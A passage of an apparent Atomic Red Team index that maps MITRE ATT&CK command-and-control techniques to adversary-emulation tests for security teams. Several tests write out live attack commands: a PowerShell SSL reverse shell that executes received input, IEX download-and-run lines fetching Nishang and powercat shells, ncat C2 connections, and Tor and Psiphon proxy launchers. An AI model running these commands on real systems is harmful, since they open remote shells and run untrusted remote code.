"ProxyServer" -ErrorAction Ignore).ProxyServer Set-Content $env:Temp\proxy-backup.txt $Proxy} - description: 'The Psiphon executable must exist in the Downloads folder ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\psiphon3.exe") {exit 0} else {exit 1} ' get_prereq_command: "New-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction ignore -Force | Out-Null\nInvoke-WebRequest \"https://s3.amazonaws.com/0ubz-2q11-gi9y/psiphon3.exe\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\psiphon3.exe\" \n" - description: "Batch file containing commands to run must be in src directory \n" prereq_command: 'if (Test-Path "PathToAtomicsFolder\T1090.003\src\Psiphon.bat") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\T1090.003\src\" -ErrorAction ignore -Force | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1090.003/src/Psiphon.bat" -OutFile "PathToAtomicsFolder\T1090.003\src\Psiphon.bat" executor: name: powershell command: '& "PathToAtomicsFolder\T1090.003\src\Psiphon.bat" ' cleanup_command: "$Proxy = Get-Content $env:Temp\\proxy-backup.txt -ErrorAction Ignore\nif($null -ne $Proxy) \n{Set-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' -Name \"ProxyServer\" -Value $Proxy}\n" - name: Tor Proxy Usage - Windows auto_generated_guid: 7b9d85e5-c4ce-4434-8060-d3de83595e69 description: "This test is designed to launch the tor proxy service, which is what is utilized in the background by the Tor Browser and other applications with add-ons in order to provide onion routing functionality.\nUpon successful execution, the tor proxy will be launched, run for 60 seconds, and then exit. \n" supported_platforms: - windows input_arguments: TorExe: description: Location of tor.exe file. type: string default: PathToAtomicsFolder\..\ExternalPayloads\tor\Tor\tor.exe dependency_executor_name: powershell dependencies: - description: "tor.exe must be installed on the machine \n" prereq_command: 'if (Test-Path "#{TorExe}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://archive.torproject.org/tor-package-archive/torbrowser/11.0.6/tor-win32-0.4.6.9.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\tor.zip" expand-archive -LiteralPath "PathToAtomicsFolder\..\ExternalPayloads\tor.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\tor" executor: command: | invoke-expression 'cmd /c start powershell -Command {cmd /c "#{TorExe}"}' sleep -s 60 stop-process -name "tor" | out-null name: powershell elevation_required: false - name: Tor Proxy Usage - Debian/Ubuntu/FreeBSD auto_generated_guid: 5ff9d047-6e9c-4357-b39b-5cf89d9b59c7 description: "This test is designed to launch the tor proxy service, which is what is utilized in the background by the Tor Browser and other applications with add-ons in order to provide onion routing functionality.\nUpon successful execution, the tor proxy service will be launched. \n" supported_platforms: - linux dependency_executor_name: sh dependencies: - description: "Tor must be installed on the machine \n" prereq_command: 'if [ -x "$(command -v tor --version)" ]; then exit 0; else exit 1; fi ' get_prereq_command: "(which apt && sudo apt-get -y install tor) || (which pkg && pkg install -y tor)\n" executor: command: '[ "$(uname)" = ''FreeBSD'' ] && sysrc tor_enable="YES" && service tor start || sudo systemctl start tor ' cleanup_command: '[ "$(uname)" = ''FreeBSD'' ] && service tor stop && sysrc -x tor_enable || sudo systemctl stop tor ' name: sh elevation_required: true - name: Tor Proxy Usage - MacOS auto_generated_guid: 12631354-fdbc-4164-92be-402527e748da description: "This test is designed to launch the tor proxy service, which is what is utilized in the background by the Tor Browser and other applications with add-ons in order to provide onion routing functionality.\nUpon successful execution, the tor proxy service will be launched. \n" supported_platforms: - macos dependency_executor_name: sh dependencies: - description: "Tor must be installed on the machine \n" prereq_command: 'if [ -x "$(command -v tor --version)" ]; then exit 0; else exit 1; fi ' get_prereq_command: | if [ ! -x "$(command -v brew --version)" ]; then /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh keystroke return)"; fi brew install tor executor: command: 'osascript -e ''tell application "Terminal" to do script "tor"'' ' cleanup_command: 'killall tor > /dev/null 2>&1 ' name: sh T1001: technique: modified: '2024-02-02T19:04:35.389Z' name: Data Obfuscation description: 'Adversaries may obfuscate command and control traffic to make it more difficult to detect.(Citation: Bitdefender FunnyDream Campaign November 2020) Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols. ' kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_deprecated: false x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' type: attack-pattern id: attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842 created: '2017-05-31T21:30:18.931Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1001 external_id: T1001 - source_name: University of Birmingham C2 description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf - source_name: Bitdefender FunnyDream Campaign November 2020 description: Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022. url: https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1571: technique: modified: '2023-10-31T14:00:00.188Z' name: Non-Standard Port description: |- Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data. Adversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.(Citation: change_rdp_port_conti) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_detection: 'Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2)' x_mitre_platforms: - Linux - macOS - Windows x_mitre_is_subtechnique: false x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '1.1' x_mitre_data_sources: - 'Network Traffic: Network Traffic Flow' - 'Network Traffic: Network Traffic Content' type: attack-pattern id: attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18 created: '2020-03-14T18:18:32.443Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1571 external_id: T1571 - source_name: University of Birmingham C2 description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf - source_name: Symantec Elfin Mar 2019 description: 'Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.' url: https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage - source_name: change_rdp_port_conti description: 'The DFIR Report. (2022, March 1). "Change RDP port" #ContiLeaks. Retrieved March 1, 2022.' url: https://twitter.com/TheDFIRReport/status/1498657772254240768 - source_name: Fortinet Agent Tesla April 2018 description: Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018. url: https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1571 atomic_tests: - name: Testing usage of uncommonly used port with PowerShell auto_generated_guid: 21fe622f-8e53-4b31-ba83-6d333c2583f4 description: | Testing uncommonly used port utilizing PowerShell. APT33 has been known to attempt telnet over port 8081. Upon execution, details about the successful port check will be displayed. supported_platforms: - windows input_arguments: port: description: Specify uncommon port number type: string default: '8081' domain: description: Specify target hostname type: string default: google.com executor: command: 'Test-NetConnection -ComputerName #{domain} -port #{port} ' name: powershell - name: Testing usage of uncommonly used port auto_generated_guid: 5db21e1d-dd9c-4a50-b885-b1e748912767 description: 'Testing uncommonly used port utilizing telnet. ' supported_platforms: - linux - macos input_arguments: port: description: Specify uncommon port number type: string default: '8081' domain: description: Specify target hostname type: string default: google.com dependency_executor_name: sh dependencies: - description: 'Requires telnet ' prereq_command: 'which telnet ' get_prereq_command: 'echo "please install telnet to run this test"; exit 1 ' executor: command: | echo quit | telnet #{domain} #{port} exit 0 name: sh T1573: technique: modified: '2024-04-16T12:29:47.903Z' name: Encrypted Channel description: Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_deprecated: false x_mitre_detection: |- SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks) In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_version: '1.1' x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' type: attack-pattern id: attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118 created: '2020-03-16T15:33:01.739Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1573 external_id: T1573 - source_name: SANS Decrypting SSL description: Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016. url: http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840 - source_name: SEI SSL Inspection Risks description: Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016. url: https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html - source_name: University of Birmingham C2 description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1573 atomic_tests: - name: OpenSSL C2 auto_generated_guid: 21caf58e-87ad-440c-a6b8-3ac259964003 description: | Thanks to @OrOneEqualsOne for this quick C2 method. This is to test to see if a C2 session can be established using an SSL socket. More information about this technique, including how to set up the listener, can be found here: https://medium.com/walmartlabs/openssl-server-reverse-shell-from-windows-client-aee2dbfa0926 Upon successful execution, powershell will make a network connection to 127.0.0.1 over 443. supported_platforms: - windows input_arguments: server_ip: description: IP of the external server type: string default: 127.0.0.1 server_port: description: The port to connect to on the external server type: string default: '443' executor: command: | $server_ip = #{server_ip} $server_port = #{server_port} $socket = New-Object Net.Sockets.TcpClient('#{server_ip}', '#{server_port}') $stream = $socket.GetStream() $sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback])) $sslStream.AuthenticateAsClient('fakedomain.example', $null, "Tls12", $false) $writer = new-object System.IO.StreamWriter($sslStream) $writer.Write('PS ' + (pwd).Path + '> ') $writer.flush() [byte[]]$bytes = 0..65535|%{0}; while(($i = $sslStream.Read($bytes, 0, $bytes.Length)) -ne 0) {$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data | Out-String ) 2>&1; $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $sslStream.Write($sendbyte,0,$sendbyte.Length);$sslStream.Flush()} name: powershell T1102.002: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4 type: attack-pattern created: '2020-03-14T22:34:03.024Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1102.002 url: https://attack.mitre.org/techniques/T1102/002 - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. source_name: University of Birmingham C2 modified: '2021-04-29T14:49:39.188Z' name: Bidirectional Communication description: "Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. \n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_detection: 'Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)' x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Connection Creation' - 'Network Traffic: Network Traffic Flow' x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1573.002: technique: modified: '2023-12-26T20:59:21.941Z' name: Asymmetric Cryptography description: |- Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal. For efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_deprecated: false x_mitre_detection: |- SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks) In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_version: '1.1' x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' type: attack-pattern id: attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada created: '2020-03-16T15:48:33.882Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1573/002 external_id: T1573.002 - source_name: SANS Decrypting SSL description: Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016. url: http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840 - source_name: SEI SSL Inspection Risks description: Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016. url: https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html - source_name: University of Birmingham C2 description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1095: technique: modified: '2023-09-29T21:07:31.570Z' name: Non-Application Layer Protocol description: |- Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL). ICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_contributors: - Ryan Becwar - Duane Michael x_mitre_deprecated: false x_mitre_detection: "Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.(Citation: Cisco Blog Legacy Device Attacks)\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) \n\nMonitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - Linux - macOS - Network x_mitre_version: '2.3' x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Traffic Flow' type: attack-pattern id: attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b created: '2017-05-31T21:31:10.728Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1095 external_id: T1095 - source_name: University of Birmingham C2 description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf - source_name: Cisco Synful Knock Evolution description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020. url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices - source_name: Microsoft ICMP description: Microsoft. (n.d.). Internet Control Message Protocol (ICMP) Basics. Retrieved December 1, 2014. url: http://support.microsoft.com/KB/170292 - source_name: Cisco Blog Legacy Device Attacks description: Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020. url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 - source_name: Wikipedia OSI description: Wikipedia. (n.d.). List of network protocols (OSI model). Retrieved December 4, 2014. url: http://en.wikipedia.org/wiki/List_of_network_protocols_%28OSI_model%29 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1095 atomic_tests: - name: ICMP C2 auto_generated_guid: '0268e63c-e244-42db-bef7-72a9e59fc1fc' description: | This will attempt to start C2 Session Using ICMP. For information on how to set up the listener refer to the following blog: https://www.blackhillsinfosec.com/how-to-c2-over-icmp/ supported_platforms: - windows input_arguments: server_ip: description: The IP address of the listening server type: string default: 127.0.0.1 executor: command: | IEX (New-Object System.Net.WebClient).Downloadstring('https://raw.githubusercontent.com/samratashok/nishang/c75da7f91fcc356f846e09eab0cfd7f296ebf746/Shells/Invoke-PowerShellIcmp.ps1') Invoke-PowerShellIcmp -IPAddress #{server_ip} name: powershell - name: Netcat C2 auto_generated_guid: bcf0d1c1-3f6a-4847-b1c9-7ed4ea321f37 description: "Start C2 Session Using Ncat\nTo start the listener on a Linux device, type the following: \nnc -l -p \n" supported_platforms: - windows input_arguments: server_port: description: The port for the C2 connection type: integer default: 80 ncat_exe: description: The location of ncat.exe type: path default: PathToAtomicsFolder\..\ExternalPayloads\T1095\nmap-7.80\ncat.exe ncat_path: description: The folder path of ncat.exe type: path default: PathToAtomicsFolder\..\ExternalPayloads\T1095 server_ip: description: The IP address or domain name of the listening server type: string default: 127.0.0.1 dependency_executor_name: powershell dependencies: - description: 'ncat.exe must be available at specified location (#{ncat_exe}) ' prereq_command: 'if( Test-Path "#{ncat_exe}") {exit 0} else {exit 1} ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 New-Item -ItemType Directory -Force -Path "#{ncat_path}" | Out-Null $parentpath = Split-Path (Split-Path "#{ncat_exe}"); $zippath = "$parentpath\nmap.zip" Invoke-WebRequest "https://nmap.org/dist/nmap-7.80-win32.zip" -OutFile "$zippath" Expand-Archive $zippath $parentpath -Force $unzipPath = Join-Path $parentPath "nmap-7.80" if( $null -eq (Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | ?{$_.DisplayName -like "Microsoft Visual C++*"}) ) { Start-Process (Join-Path $unzipPath "vcredist_x86.exe") } executor: command: 'cmd /c "#{ncat_exe}" #{server_ip} #{server_port} ' name: powershell - name: Powercat C2 auto_generated_guid: 3e0e0e7f-6aa2-4a61-b61d-526c2cc9330e description: "Start C2 Session Using Powercat\nTo start the listener on a Linux device, type the following: \nnc -l -p \n" supported_platforms: - windows input_arguments: server_ip: description: The IP address or domain name of the listening server type: string default: 127.0.0.1 server_port: description: The port for the C2 connection type: integer default: 80 executor: command: | IEX (New-Object System.Net.Webclient).Downloadstring('https://raw.githubusercontent.com/besimorhino/powercat/ff755efeb2abc3f02fa0640cd01b87c4a59d6bb5/powercat.ps1') powercat -c #{server_ip} -p #{server_port} name: powershell T1001.003: technique: x_mitre_platforms: - Linux - Windows - macOS x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc type: attack-pattern created: '2020-03-15T00:40:27.503Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1001.003 url: https://attack.mitre.org/techniques/T1001/003 - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. source_name: University of Birmingham C2 modified: '2021-04-29T14:49:39.188Z' name: Protocol Impersonation description: "Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. \ \n\nAdversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)' x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1090.004: technique: modified: '2023-03-30T21:01:52.356Z' name: Domain Fronting description: |- Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, "domainless" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored). For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_contributors: - Matt Kelly, @breakersall x_mitre_detection: 'If SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blocklist or allowlist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' type: attack-pattern id: attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2 created: '2020-03-14T23:29:19.581Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1090/004 external_id: T1090.004 - source_name: Fifield Blocking Resistent Communication through domain fronting 2015 description: David Fifield, Chang Lan, Rod Hynes, Percy Wegmann, and Vern Paxson. (2015). Blocking-resistant communication through domain fronting. Retrieved November 20, 2017. url: http://www.icir.org/vern/papers/meek-PETS-2015.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 spec_version: '2.1' atomic_tests: [] T1132: technique: modified: '2023-04-21T12:20:20.711Z' name: Data Encoding description: 'Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.' kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_contributors: - Itzik Kotler, SafeBreach x_mitre_deprecated: false x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' type: attack-pattern id: attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f created: '2017-05-31T21:31:43.540Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1132 external_id: T1132 - source_name: University of Birmingham C2 description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf - source_name: Wikipedia Binary-to-text Encoding description: Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017. url: 